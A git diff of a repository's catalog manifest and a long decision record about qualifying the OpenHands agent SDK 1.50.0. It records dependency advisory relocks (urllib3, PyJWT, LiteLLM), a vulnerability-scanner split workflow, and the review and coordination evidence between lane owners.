`canvas-extension-api`: changed body and Canvas validator/reference resources. +- `github-pr-reviewer`: changed body and worker/state resources. +- `github`: unchanged body, changed `scripts/agent_conversation.py`. +- `github-stale-ci-pr-closer`: unchanged body, changed worker and test resources. + +The current GitHub conversation helper describes profile-backed automation and +uses `AUTOMATION_API_URL` and `AUTOMATION_AGENT_PROFILE_ID` +([source lines 1-119](https://github.com/OpenHands/extensions/blob/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/github/scripts/agent_conversation.py#L1)). +That does not qualify a local SDK/server dispatcher. No wrapper or Cloud +activation is added. Other changed trees (`codebase-design`, `diagnosing-bugs`, +`domain-modeling`, `improve-codebase-architecture`, `tdd`, `search-first`, +`semgrep`) retain their pins. `resolving-merge-conflicts` is removed at current +Matt Pocock HEAD and retains its trial pin: upstream deletion and unknown use +do not satisfy the instrumented zero-activation pruning contract. + +The existing isolated SDK clone is pristine at +[`dcf401af7a9a302ef92cb7d092e1df9bb659daa5`](https://github.com/OpenHands/software-agent-sdk/tree/dcf401af7a9a302ef92cb7d092e1df9bb659daa5), +and native SDK/tools imports report 1.50.0. The official latest release endpoint +returned [`v1.50.0`](https://github.com/OpenHands/software-agent-sdk/releases/tag/v1.50.0). +The [worker recipe](../openhands/README.md) retains its unchanged upstream-suite +results and its separate unqualified image/provider gates; that suite was not +repeated for this source refresh. + +One local integration fixture addresses the new source-discovery gap. Official +`git archive` snapshots expose the 73 current plus four retained source folders +in an isolated `.agents/skills` project. The unchanged native +[`load_project_skills`](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/skills/skill.py#L1049) +returns zero entries for an empty-project control, then all 77 expected names. +Running the same 77-name qualification against the project with its source +artifact absent exits 1, reporting 77 expected and zero discovered; the +[negative output](refresh-20260930-native-discovery-negative.txt) is retained. +Native [`to_prompt`](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/skills/skill.py#L1453) +returns names/descriptions without locations or full bodies. The returned result +is in [refresh-20260930.json](refresh-20260930.json). This is source-discovery +evidence, not a CLI-owned installation or a model-mediated skill invocation. +`invoke_skill`, provider usage, worker lifecycle and E2E activation remain +uncollected. No skill is pruned. + +[profiles.json](profiles.json) publishes the current scenario/role intersections +and references the existing native OpenHands profile manifest. It is advisory +selection metadata. The native +[`InvokeSkillExecutor`](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/tool/builtins/invoke_skill.py#L90) +supplies the requested body; no replacement runtime or mandatory full-catalog +installation is introduced. Canvas and Cloud/automation applicability remains +task scoped. + +Correction recorded this turn: the initially supplied installed SDK path was +absent, and an initially guessed invocation-test filename was absent. Bounded +directory/source discovery located the existing isolated clone and the actual +upstream test `tests/sdk/tool/test_invoke_skill.py`. Its HEAD, pristine state and +native package versions were checked before the fixture. No absent-path lookup +was used as a runtime capability claim. + +The first local contract run also caught four selected collision references +still bound to the earlier OpenHands pin. They were updated to the same winning +source triples as their selected entries. The retained +[failed output](refresh-20260930-tests-first.txt) and +[passing output](refresh-20260930-tests.txt) record one bounded repair: all 22 +existing runtime-worker tests pass. The final report records 100 current entries, +25 repository-only drifts, 11 changed trees and one removed at HEAD, with no +fetch or pin-integrity errors. These are local contract and source checks. ## 2026-09-30: main's LLM-native listing Main's [LLM-native listing decision](../../../docs/decisions/2026-09-30-skills-llm-native-listing.md) @@ -289,7 +376,7 @@ Sources: [removal changeset](https://github.com/mattpocock/skills/blob/d81f3a183 | Repository | Commit resolved with gh api | Selected skills | | --- | --- | --- | -| OpenHands/extensions | `bea7a20c59c44ec4dacddac3fc0efe58b9c73880` | 77 | +| OpenHands/extensions | `9495f4c59dd5fea2cee9e87ab37a6abda649627b` | 77 | | affaan-m/ECC | `2b6e839771e53096d8451a213d40dc64ec8acac0` | 2 | | anthropics/skills | `33375500bcea98d610eb30ce10ac4e59b89c390d` | 9 | | assafelovic/gpt-researcher | `0957c301ed06c2a5857b834358c7227c739041d4` | 1 | diff --git a/catalogs/foundation/manifest.json b/catalogs/foundation/manifest.json index c5e175313..11ef02143 100644 --- a/catalogs/foundation/manifest.json +++ b/catalogs/foundation/manifest.json @@ -164,10 +164,10 @@ "id": "agent-sdks", "title": "Agent SDKs and runtime workers", "purpose": "Select the programmatic SDK or runtime that gives a worker structured events, custom tools or session control beyond the native CLI.", - "selection": "Retain the existing Codex CLI/SDK integration (component codex) for supported start/run/resume workflows; Claude Agent SDK, OpenHands SDK, Temporal and LangGraph remain unselected alternatives.", + "selection": "Retain the existing Codex CLI/SDK integration (component codex) for supported start/run/resume workflows. OpenHands 1.50.0 and the research roster have bounded candidate recipes, not default promotion; Claude Agent SDK, Temporal and LangGraph remain unselected alternatives.", "activation": "Use the native CLI for ordinary work; reach for an official SDK only when an application needs structured events, custom tools or programmatic session control.", - "lifecycle_scope": "Codex CLI/SDK use is accepted within its recorded tests; Claude Agent SDK, OpenHands SDK, Temporal and LangGraph have no adoption lifecycle here, only source-reviewed version pins.", - "next_gap": "The SDK table in docs/foundation-closure-20260921.md lines 78-84 has not been revisited by any lane since 2026-09-21; qualify a concrete application need before promoting a deferred alternative." + "lifecycle_scope": "Codex CLI/SDK use retains its recorded scope. The 2026-09-30 isolated candidate work adds native source/wheel installation, selected unchanged tests and a model-free Crawl4AI job. OpenHands full-image acceptance, trusted observer and research/review task-quality gates remain open; no blanket runtime acceptance follows.", + "next_gap": "Follow blueprints/runtime-workers/README.md and evidence/artifacts/runtime-roster-20260930/README.md for source pins, exact commands and remaining gates. Codex 0.159.2 configured-route tool/resume evidence is a separate shared-lane follow-up after the Claude owner's pin promotion." }, { "id": "mcp-surfaces", @@ -236,15 +236,17 @@ ], "top_gaps": [ { - "id": "catalog-capability-separation", + "id": "runtime-worker-quality-and-image", "priority": 1, - "status": "addressed_in_catalog", - "scope": "General foundation capabilities now have an explicit home and scoped claims; the broad research union keeps its existing path.", - "next_action": "Maintain these capability joins when a decision changes; do not migrate or adopt every discovery by directory placement.", + "status": "open", + "scope": "2026-09-30 source-pinned runtime candidates have bounded native install/test evidence. OpenHands full-image scanner matches, independent observer, frozen coding/research/review/GitHub quality tasks, compression comparison and complete provider accounting remain unresolved. Owner: foundation runtime coordinator. The previously addressed catalog-separation gap retains its historical record and boundary.", + "next_action": "Qualify maintained full-image remediation and the trusted host-owned observer, then execute capability-specific frozen tasks with discriminating controls and complete attempt/judge usage. Keep native selected-test and operation scopes separate; no default SDK promotion or optional-service activation from catalog inclusion.", "source_paths": [ - "catalogs/foundation/manifest.json", - "catalogs/foundation/decisions.json", - "catalogs/us-equities/decision-index.json" + "blueprints/runtime-workers/README.md", + "blueprints/runtime-workers/openhands/evidence/image-triage-20260930.json", + "blueprints/runtime-workers/openhands/evidence/upgrade-150-commands.json", + "evidence/artifacts/runtime-roster-20260930/README.md", + "docs/decisions/2026-09-30-runtime-worker-coordination.md" ] }, { @@ -284,6 +286,10 @@ { "id": "claude-code-sandbox-profile", "gap_id": "claude-code-sandbox-profile" + }, + { + "id": "runtime-worker-quality-and-image", + "gap_id": "runtime-worker-quality-and-image" } ] } diff --git a/docs/decisions/2026-09-30-runtime-convergence-followup.md b/docs/decisions/2026-09-30-runtime-convergence-followup.md new file mode 100644 index 000000000..c3b94e537 --- /dev/null +++ b/docs/decisions/2026-09-30-runtime-convergence-followup.md @@ -0,0 +1,510 @@ +# Runtime source convergence follow-up — 2026-09-30 + +Decision: retain the accepted native defaults and the unresolved runtime +acceptance gates; finish the exact-lock citation cleanup and prepare a +supported, bounded image trial. Source-only changes preserve the separate +client/SDK qualification scopes. No host deployment or +model run is implied. This follows +[the convergence architecture](../convergence-architecture.md), the +[acceptance evidence policy](../acceptance-evidence-policy.md) and the +[coordination receipt](2026-09-30-runtime-worker-coordination.md). + +## Completed source review + +[PR #537](https://github.com/seathatflowsinourveins/native-agent-stack/pull/537) +merged at `11227bfdf25b55b0481a9e78985c3fed26052472`. Its independent +[receipt](../../evidence/artifacts/openhands-oauthlib-review-535-head6a7b16-20260930/receipt.json) +has SHA256 `c7473105255cc38bac1da6c7a490f99d863b58d865e82529d221b2a2e759908f` +and binds the OpenHands lock +`383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106`. +It covers the corrected main-version comparison, Linux x86_64/CPython +3.13.15 installation, static OAuth callers and native scanner controls. +It excludes worker/dispatch code, images, provider/observer behavior and task +quality, and approves no merge, exception, pin or promotion. The suppression +guard and recipe now cite this exact review; the lock, advisory IDs and expiry +dates remain unchanged. Earlier records retain their original dates and bytes. + +## Primary research and remaining tests + +The [v1.50.0 release](https://github.com/OpenHands/software-agent-sdk/releases/tag/v1.50.0) +is the inspected stable source. A native registry manifest inspection returned +the unchanged full-image digest recorded in +[the triage receipt](../../blueprints/runtime-workers/openhands/evidence/image-triage-20260930.json). +Its historical report returned native exit 0 and 56 fixable high/critical +matches; the command did not request a severity threshold. The acceptance +rule remains unmet, distinct from that successful report generation. The +[subsequent source comparison](https://github.com/OpenHands/software-agent-sdk/compare/dcf401af7a9a302ef92cb7d092e1df9bb659daa5...230115adcf4b06ccab20a932bf632cd79dd13bef) +has no Dockerfile repair. The native +[builder](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/build.py) +supports a browser-only composition; its +[Dockerfile](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile) +still installs CPython 3.13.15 and a separate managed interpreter. +Removing optional capability packages or overriding the base image alone +does not establish a complete remedy. The +[planned experiment](../../blueprints/convergence-practice/runtime-image-browser-20260930/README.md) +therefore has no observations, qualifications or usage claim. It freezes +the supported source, current inputs and quality rules before an eventual +isolated, model-free native build/scan. The full-image gate remains open. + +The maintained +[benchmark source](https://github.com/OpenHands/benchmarks/tree/405bae7140d7e961a75f4910a0b2e7069731db96) +supplies native SWE-bench and GAIA grading paths, with a different pinned SDK +that requires compatibility qualification. In-process Laminar telemetry is +not independent observation. Installed server help and the inspected tag +source did not reveal a turnkey host-owned observer for this contract; +[remote local-workspace issue #4187](https://github.com/OpenHands/software-agent-sdk/issues/4187) +closed without establishing that capability. Observer and task-quality +acceptance remain separate from source/install acceptance. + +The stable Codex Python SDK at `rust-v0.159.2`, commit +`ff6aec96948b70d94983af2641a6b67c94faeff5`, retains a disagreement between +[the formatter](https://github.com/openai/codex/blob/ff6aec96948b70d94983af2641a6b67c94faeff5/scripts/format.py#L43) +and [its artifact test](https://github.com/openai/codex/blob/ff6aec96948b70d94983af2641a6b67c94faeff5/sdk/python/tests/test_artifact_workflow_and_binaries.py#L241). +Both files are byte-identical in inspected upstream main +`67727e7cf114cf3e1b71db368d74b24e32f6cb12`. No supported repair was found +in those sources. The unchanged native result stays one failure, 266 passes +and 38 skips, exit 1; local lint/format success cannot replace that outcome. +No test is patched or filtered to claim full-suite acceptance. + +## Coordination and publication boundary + +The owned native Opus/max relay obtained actual replies from the client-pin, +dependency, trading and measurement owners and the other runtime session. +The other runtime session reports no owned files, branch, service or gate in +this work, so there is no implementation overlap to hold. These reported +ownership statements are coordination evidence, not upstream acceptance. + +The client-pin owner's [PR #542](https://github.com/seathatflowsinourveins/native-agent-stack/pull/542) +actually merged at `2026-09-30T19:54:23Z` as +`1f2cdce5a3cdf3f965d45196d8158d12431394d2`, independently verified through +native GitHub metadata. The SDK source at +`404b821cd3af25800ea418dc6145cc5cb6fe33c5` is retained unchanged while a new +isolated publication worktree uses that merged base. Rebuild shared evidence last, open the separate +`lane:shared` draft and obtain trading-owner acknowledgement and measurement +owner source-scope review. Preserve the example's explicit Astra model and +the cumulative-usage repair. Its Collector change is repository source only; +deployed private configuration and native OTLP counters remain separate. + +The measurement owner's actual second reply permits source-only cleanup +and the separately sequenced SDK draft. It accepts a Docker/one-worker/ +12-iteration/frozen-ID plan now, with no build or run. Eventual execution +requires its host-load agreement, an existing rootless Docker context, +native Codex capacity of 40–45 free weekly points at that preflight, bc's +gateway agreement and start/end notices. The sealed Codex arms retain +explicit `gpt-6-astra` unless the user changes the sealed runbook through +an amendment. No model-choice intake is needed for this source work. + +Collector deploy/restart needs a separately dated notice at least six hours +before the seal announcement or must wait until all windows close; it never +occurs inside a window. Source review/merge gives no deployment authority. +The owner will notify live peers, publish a dated U6 Amendment 4 PR comment +and record the sealed README pre-run notice. No U6 date was supplied and +both owners require PR #542 to merge before that cut. Historical host-actor +attribution remains unknown and does not block source-only work. Timestamp +coincidence is not attribution. No account capacity, authentication store or +historical private conversation is fetched here. + +The framework PR changes guard/documentation semantics beyond its earlier +acknowledged head. Obtain a fresh trading-owner acknowledgement and the +measurement owner's deterministic source-scope check on its published head. +An incoming shared-state PR and this PR must each rebase if the other lands +first. Neither peer acknowledgement nor passing repository CI supplies +image, live provider, Gate A/P3, task-quality or token-saving acceptance. + +## New advisory repair and bounded consensus + +The source cleanup published as PR #535 head +`00aa6c25fe6f27e9f5974e9f6a5592aa31683479` passes the original hosted +[Linux validation](https://github.com/seathatflowsinourveins/native-agent-stack/actions/runs/36737145600/job/109963925887) +and [macOS validation](https://github.com/seathatflowsinourveins/native-agent-stack/actions/runs/36737133650/job/109961678810). +The older Linux run was canceled by the description update; its cancellation +does not replace the later successful job. The +[native OSV job](https://github.com/seathatflowsinourveins/native-agent-stack/actions/runs/36737133691/job/109961678725) +returns exit 1 with three urllib3 advisories and a frozen macOS Next advisory. +Historical scan success is not current dependency acceptance. + +bc owns [PR #546](https://github.com/seathatflowsinourveins/native-agent-stack/pull/546) +for the main lock and frozen-artifact policy. The official +[urllib3 2.8.0 release](https://github.com/urllib3/urllib3/releases/tag/2.8.0) +and [PyPI files](https://pypi.org/pypi/urllib3/2.8.0/json) supply the fix; +their September 15 uploads are beyond the pinned source's seven-day cutoff. +The [separate Linux candidate receipt](../../blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json) +retains both pristine compile controls, a fresh hashed installation and +12 unchanged compatibility fixtures without skips. It changes only urllib3 +and its two hashes, retaining 176 requirements and SDK/tools 1.50.0. +Its intermediate lock SHA256 is +`bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072`. +bc actually endorsed that bounded delta and requires a new exact-head +artifact-only review; the old PR #537 review remains bound to `383ccc…`. + +Consequential exception enforcement triggered an independent Astra/Max +review of PR #546's exact initial head +`09d5371d71d3127db3144a0ce3c444a1af696b7f`. The unchanged 153-test suite, +declared mutation controls, manifest checks and full native 49-lock scan +return exit 0. The broad fail-closed Next-reader claim is nevertheless +refuted: quoted affected pnpm keys can disappear beside a recognized fixed +key; pnpm 5 keys and non-pnpm npm locks also escape the new assertion. +These are local adversarial probes of unchanged source, distinct from +upstream tests. The maintained +[OSV-SCALIBR parser linked by the scanner](https://github.com/google/osv-scalibr/blob/3090dbb7aaa24ce7a807899e7f16baa8b802a828/extractor/filesystem/language/javascript/pnpmlock/pnpmlock.go#L277) +supports the relevant mapping representations. bc acknowledged the failures +and is repairing its own guard. A reported local repair is not a new public +head or acceptance; recheck the actual corrected revision before integrating. + +The global database subsequently adds +[PyJWT GHSA-42vr-xj54-vc7v](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v), +fixed by 2.15.0. The maintainer's confirmed impact is pre-verification +payload parsing that can raise an uncaught request-level exception; it does +not establish a process crash or authentication bypass. The candidate's +15:51 backend scan returned exit 0; its retained 16:09:27–28Z rescan returns +exit 1 with this advisory alone. Keep both results and their actual times. +The intermediate `bd1…` lock is explicitly unaccepted. + +[PyPI's 2.15.0 metadata](https://pypi.org/pypi/PyJWT/2.15.0/json) +records the wheel at `2026-09-23T16:55:59.241512Z` and sdist at +`2026-09-23T16:56:00.689307Z`. Both clear the existing seven-day cutoff +after `2026-09-30T16:56:00.689307Z`; the owner uses 16:57 UTC conservatively. +[2.15.1's metadata](https://pypi.org/pypi/PyJWT/2.15.1/json) keeps it outside +that cutoff until October 5. Follow issue #518's +overturn condition and native relative cutoff; an absolute override that +changes lock options or the selected closure is a failed condition to retain, +not a supported shortcut. Predicted digests await native regeneration. + +The owner sequence is now: corrected PR #546 published and independently +rechecked; actual merge; proper candidate reconciliation preserving its +SDK/tools 1.50 and target-specific lock, main's Next/macOS policy and all +captured-input fixture classifications; fresh evidence registration last; +native checks and actual candidate-head review. The client-pin owner has +published PR #542 head `a3a276ac7280655d66b4279f2a4f42de8b17d2fb` and +also waits for that main repair before its final rebase/merge. The SDK draft +still follows the actual pin merge, preserving its full-suite limitation. + +2d actually accepts the durable PR #535 thread and +`codex/runtime-qualification-20260930` contact, followed by the SDK PR. +Its scripted source reads find no Gate A scope objection/leak at `00aa…`; +this is no code/model/merge acceptance. The trading owner is absent from +the fresh native roster and the lead knows no successor. A fresh final-head +acknowledgement remains required; no liveness or acknowledgement is inferred. +The F1 owner acknowledged the builder-tag and report-exit corrections for +its owned anti-pattern log. Historical host/memory-write attribution remains +unknown; the coordinator did not issue those commands or edit those main +paths. No timer, memory service, host settings or deployment is changed here. + +The independent Astra/Max follow-up found no additional material correction +in intermediate source commit `6ca5863516d0b07748f41be2a2635fbe0211d1c3`. +It recomputed 73 artifact, six source and 62 command-output bindings with +no mismatch, and confirmed that only urllib3's block changed while the +other 175 blocks stayed byte-identical. It inspected retained install, +import, source and 12-fixture outputs rather than rerunning those commands. +Its fresh value-free publication scan of all 77 changed paths returned +exit 0. Its full validator returned exit 1 for the two expected lock/pins +index mismatches; final shared registration is still the coordinator's +responsibility. This review preserves the intermediate candidate's +unaccepted status and both time-bound scan results. + +The coordinator's native clock returned `2026-09-30 16:57:15 UTC` before +dispatching the bounded PyJWT 2.15.0 repair. The worker must preserve the +native relative seven-day cutoff and the other 175 selected declarations, +then compare its actual lock digest to the predicted value. Dispatch is +not execution or acceptance; actual returned results follow separately. + +The next published dependency head is +`bd48d924026635dccc18d30be8f56a2dc476fa89`. Independent Astra/Max review +confirms the old bypasses, actual affected range and frozen digest are +repaired, and the new main lock changes only urllib3 and PyJWT. The 157 +unchanged repository tests, supplied mutants, validator and full 49-lock +native scan return exit 0. Acceptance of the broader guard is still +refuted: a tagged top-level `!!str packages:` mapping and a YAML merge +supplied through `<<: *base` both return an empty guard finding list. +The unmodified pinned scanner actually finds the affected Next package +and filters its advisory in each case. These are reproduced counterexamples +to the guard's unknown-syntax claim, distinct from today's clean inventory. +The owner receives the actual inputs and is asked for a bounded source-backed +repair before integration. Passing current CI supplies no approval for it. + +This review also corrects the earlier SCALIBR source citation: the scanner's +reported `0.5.2` label does not identify the linked source. Its native binary +dependency metadata and [OSV-Scanner v2.6.0 go.mod](https://github.com/google/osv-scanner/blob/v2.6.0/go.mod#L14) +pin `v0.5.3-0.20260911142458-3090dbb7aaa2`. The +[actual pinned YAML decoder](https://github.com/google/osv-scalibr/blob/3090dbb7aaa24ce7a807899e7f16baa8b802a828/extractor/filesystem/language/javascript/pnpmlock/pnpmlock.go#L277) +corroborates the native counterexamples. Use that revision for subsequent +verification instead of assuming the reported version's tag is identical. + +The same independent reviewer verifies a maintained native alternative. +Installed `scan source --help` and the v2.6.0 release API both return exit 0; +[configuration.md](https://github.com/google/osv-scanner/blob/v2.6.0/docs/configuration.md#L23) +and the [config manager](https://github.com/google/osv-scanner/blob/v2.6.0/internal/config/manager.go#L24) +define explicit config precedence for all inputs in one invocation. With +only the Next ignore removed from an anonymous-memory copy of the config, +the actual tagged and merged probe inputs each produce native exit 1 and +the affected Next advisory. Under the unchanged config each produces exit 0 +and the filtered advisory. Every other ignore field and expiry is preserved. +This demonstrates a supported integration option, not a repaired workflow. + +The proposed boundary uses two native scans: an exhaustive disjoint ordinary +partition with no Next ignore, and only the frozen SHA-bound macOS artifact +under its dated exception config. The current dependency PR has 48 ordinary +plus one frozen input; derive the count from the actual inventory rather than +hardcoding it. Preserve parser arguments and both native exits, failing the +combined check on either nonzero result. Exact frozen-path/digest and dated +exception assertions remain necessary. This option is sent to the owner; +implementation, actual-head review and hosted acceptance remain outstanding. + +At the owner's explicit interim-versus-split decision request, a consequential +Astra/Max architecture review independently reads actual head +`fba387496ca264e878e03283f32c499aee0fd366` and recommends holding PR #546 +until the native boundary lands before or with it. Its observed workflow +still gives all 49 inputs one explicit config. This is an architecture +judgment, not a claim of another verified bypass in that head. The coordinator +sends the hold decision and its concrete partition/hash/exit/report controls +to the source owner, who retains implementation ownership. + +The separate subagent follow-up is platform-flagged and supplies no final +verdict. The coordinator instead directly runs the owner's unchanged native +checks at `fba3874`: 157 integration tests, original mutation controls, +validator and evidence-index check all return exit 0. Their actual returned +outputs and hashes are retained in the +[independent local-check receipt](../../evidence/artifacts/osv-scope-followup-20260930/receipt.json). +These are repository integration/integrity checks, not upstream tests or +exhaustive parser acceptance. Their success does not remove the outstanding +native boundary, hosted acceptance or broader runtime gates. + +bc subsequently gives an actual ownership acknowledgement: the native split +will land inside PR #546, and the interim reader head will not merge first. +Its selected frozen config contains only the same Next exception; ordinary +inputs preserve the unrelated ignores. Both native exits, both report/SARIF +outputs, actual partition/digest controls and native negative controls must +be exercised on the implemented final revision. Keep obsolete-reader failed +conditions as historical evidence. The earlier reconciliation instruction +to preserve those custom readers is superseded. No replacement public head +or completed implementation is inferred from this agreement. + +The later completed artifact-review handback confirms the new candidate +commit `e3d18df79c7018ebbe61e1d113fd042badbe3a2a`: 176 package blocks, +only PyJWT changed from the intermediate candidate, all 62 artifact and +53 command-output bindings match, and the fresh publication scan of its +66 changed paths returns exit 0. Install/tests/scans remain retained native +execution inspected independently, rather than rerun by that reviewer. +Native scanner recognition is 174 entries, distinct from the 176 declarations. + +That handback also supplies a completed native counterexample from the +historical `fba3874` review. Literal apostrophes in a decoded package key +are trimmed by the [linked extractor](https://github.com/google/osv-scalibr/blob/3090dbb7aaa24ce7a807899e7f16baa8b802a828/extractor/filesystem/language/javascript/pnpmlock/pnpmlock.go#L109), +while the old reader misses the affected package. The actual native scanner +finds one affected package and filters its advisory; the guard returns no +finding. This further refutes that old scope claim and belongs in failed +condition history. It requires no new custom-reader repair under the agreed +native design. Original inputs/argv/outputs remain independently retained. + +The owner publishes the native-split candidate as actual PR #546 head +`4a09c9c5f1e5fdb5555d4c916666f12e089cf09f`, pushed at 17:59Z against +unchanged `11227bfd…`. Independent native replay of the actual workflow, +233-test suite and supplied split controls is requested. The owner commits +to all eight required checks and its independent workflow review before +merge, followed by the actual merge SHA. Publication is not completed +acceptance, and no merge is inferred from its reported local execution. + +Independent replay now confirms that exact native-split head. The unchanged +repository suite returns exit 0 with 233 tests and two explicit skips; the +original split controls, validator and evidence-index check return exit 0. +The ordinary and frozen partitions contain 48 and one inputs. Non-PR mode +scans those same inputs again for SARIF, rather than adding 49 unique inputs. +Both generated SARIF files contain one run and zero results. Hosted upload +was not exercised locally. Original native streams and the bounded verdict +are retained in the [native-split receipt](../../evidence/artifacts/osv-scope-followup-20260930/native-split-review.json). + +Two further controls execute the unchanged workflow and digest assertion in +disposable fixtures. Removing only the ordinary config produces native scan +exits 127 and 0, and the combined workflow exits 127. Appending one LF byte to +the frozen lock makes its original digest test exit 1; restoring the exact +reviewed bytes makes that test exit 0. Inputs are restored and the review +worktree is clean. The bounded independent review finds no outstanding +material source defect. This is repository integration evidence, not an +upstream test, merged change, hosted-upload check or runtime qualification. + +The coordinator imports candidate commits `e3d18df…` and `8ea8542e…` into its +isolated source branch. The current target-specific requirements SHA256 is +`83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a`. +PyJWT 2.15.0 joins urllib3 2.8.0 while SDK/tools 1.50 and the reviewed OAuthlib +closure remain intact. The worker's retained native install, dependency check, +unchanged PyJWT regression controls and scans are classified separately from +the independent artifact-binding review. A new review of the actual published +candidate head is still required; PR #537's older lock review does not carry. + +Native GitHub observation then confirms PR #546 merged as +`8fc86119eacfd5be9b8a139e1ed167d85748091b`, with final head `4a09c9c5…` +and hosted macOS validation successful. The coordinator rebases its isolated +runtime branch onto that actual main revision. Main's ordinary/frozen configs, +native split workflow and frozen digest policy remain intact. The target-specific +832938 closure and its allowed row change together; its new artifact-only +review remains pending. Only required captured constraints fixtures are +classified by the current native inventory schema; compiler inputs whose names +do not match that schema are not spuriously added. The planned image experiment +refreshes its base and pins digest without adding an observation or running it. + +The reconciled source checks return exit 0: 360 repository integration tests +with six explicit skips, 35 convergence tests, and the unchanged native scan +step for all 56 current inputs. Its step SHA matches the independent review; +the table-mode check is a separate execution on the expanded runtime inventory. +Original streams, hashes and two corrected setup/registration failures are +bound in the [source reconciliation receipt](../../evidence/artifacts/osv-scope-followup-20260930/source-reconciliation.json). +This adds no worker, model, image or provider observation. + +bc's actual review of public head `7c0df369…` finds no blocking issue for the +832938 lock's bounded OAuthlib reachability exception. Its reported fresh +install/scanner/test execution is a lead until the independent original-output +receipt is published. It supplies no merge, image, observer or task-quality +acceptance. Two requested P2 clarifications are accepted and implemented: + +- Preserve the 17:23 PyJWT relock receipt's original pre-PR #546 workflow + binding. The [dated addendum](../../evidence/artifacts/osv-scope-followup-20260930/workflow-binding-addendum.json) + names that historical source and separately binds the current native split; + no old observation is overwritten or promoted to current workflow acceptance. +- The canonical inventory description now explicitly permits captured native + resolver/probe inputs retained with original hash/command evidence and not + consumed by shipped installation recipes, alongside deliberately vulnerable + test fixtures. This documents the existing captured-fixture policy, including + the four OpenHands constraints files and earlier probe fixtures. It does not + exclude an active runtime lock or the frozen application lock, add an advisory + exception, extend an expiry or claim runtime qualification. + +The final artifact audit also corrects a literal-byte claim: five explanatory +NLTK comments distinguish the ordinary config from merged main. Parsed policy, +IDs and expiries match; the frozen config and workflow are byte-identical. +The current lock, all nine reviewed OAuth source identities and runtime code +remain unchanged by these clarifications. Hosted checks and the independent +review's public receipt are separate outstanding gates. + +The source-link audit corrects the addendum's historical workflow URL: local +baseline `6ca58635…` is not available through the inspected GitHub commit API +(exit 1), while public head `00aa6c25…` resolves (exit 0). Its workflow is the +same 9,268 bytes with SHA256 `88a47e2c…`. The public citation now uses that +head; the original observation's baseline and receipt stay unchanged. The +owned branch history also folds shared evidence and dashboard changes into +its final commit, following the [hot-file protocol](../lanes.md#hot-file-protocol). +These corrections add no execution or runtime acceptance. + +At 20:21 UTC, native GitHub metadata confirms the independent review is +published in open [PR #558](https://github.com/seathatflowsinourveins/native-agent-stack/pull/558), +head `54d09ee8810ed98059347097277fcd9f8432de36`. Its +[receipt](https://github.com/seathatflowsinourveins/native-agent-stack/blob/54d09ee8810ed98059347097277fcd9f8432de36/evidence/artifacts/openhands-oauthlib-review-535-head7c0df3-20260930/receipt.json) +is 12,992 bytes with SHA256 +`b0742663250afe8eff4692ad7be26b1b894d9977c80154ee3fa71e878efbe880`. +Independent original-source inspection verifies all 32 published file hashes, +the 832938 lock/pins and retained nine OAuth identities, 62 artifact / 53 +command bindings, hashed install/dependency/import exits 0, configured scan +exit 0 and empty-config exit 1 for the two retained OAuth advisories. Recorded +checks are 245 total tests, five skips, exit 0; they remain separate from this +lane's 360/6 record. This audit replays no install, scan, model or tests. + +The static method's symlink/read-error exclusions and restricted name search +retain dynamic and semantic reachability uncertainty; its exit is not separately +retained. Public sanitized output fidelity to private originals is unverified, +and SARIF files are summarized rather than included. The workflow evidence is +bound to `1df67c92…` / step `bc092b63…`, not a future #555 revision. The owner's +[public P2 closure](https://github.com/seathatflowsinourveins/native-agent-stack/pull/535#issuecomment-5918675360) +applies at `f764a315…`; citation/comment/history changes still receive the next +published-head check. This independently citable static evidence approves no +merge or broader runtime qualification. The SDK follow-up is separately +published as [draft PR #560](https://github.com/seathatflowsinourveins/native-agent-stack/pull/560) +at `f4f0d61e…`, preserving the 404 source bytes on the actual #542 merge base. + +## Later dependency-index change and supported repair + +BC's [final f722 check](https://github.com/seathatflowsinourveins/native-agent-stack/pull/535#issuecomment-5919401614) +closes the two P2 clarifications at that exact head with 40 public-object +checks and no failures. Its scope remains the old 832938 lock and bounded +static review. At 21:11 UTC, GitHub's advisory database publishes +[GHSA-3cv6-jpf6-8222 / CVE-2026-84377](https://github.com/advisories/GHSA-3cv6-jpf6-8222): +LiteLLM `>=1.93.0,<1.93.2` is affected and `1.93.2` is patched. The later +SDK749 hosted scan returns exit 1 for unchanged main's 1.93.0. Earlier green +scans retain their original dates and inputs; they are not current-database +acceptance. No advisory ignore or expiry changes. + +Independent Astra/Max research resolves the conflicting cutoff and patch +provenance before the repair. The trigger is the legacy July 20 cutoff, +the later patched release and divergent original advisory staging ancestry. +[OpenHands' introducing change](https://github.com/OpenHands/software-agent-sdk/commit/395b94b0c3c4994f6c530f1e3bf3196f71fab950) +explicitly permits bumping or removing the LiteLLM-specific cutoff when +upgrading past 1.93.0; its [independent global seven-day rule](https://github.com/OpenHands/software-agent-sdk/commit/fa571e35b784de471e220abf5b7c874c2c9b9f19) +remains. Official PyPI dates the selected 1.93.0 files to July 19 and +[1.93.2's CPython 3.13 Linux wheel and sdist](https://pypi.org/pypi/litellm/1.93.2/json) +to August 9. The [maintained backport](https://github.com/BerriAI/litellm/pull/36318) +is in tag `cd1bd0f4b8af865f8d05fbd938392fdd4703babc`; native comparison +confirms actual backport `29be951c…` is its ancestor, ahead seven/behind zero. +No ancestry claim is made for the original staging commit. + +The source-accepted method uses the published packages' supported requirements, +an exact 1.93.2 constraint, unchanged other pins and LMNR cutoff, and the +global seven-day policy. [Pinned uv 0.12.17 resolution rules](https://github.com/astral-sh/uv/blob/0.12.17/docs/concepts/resolution.md) +also support a per-package seven-day override. Both OpenHands root 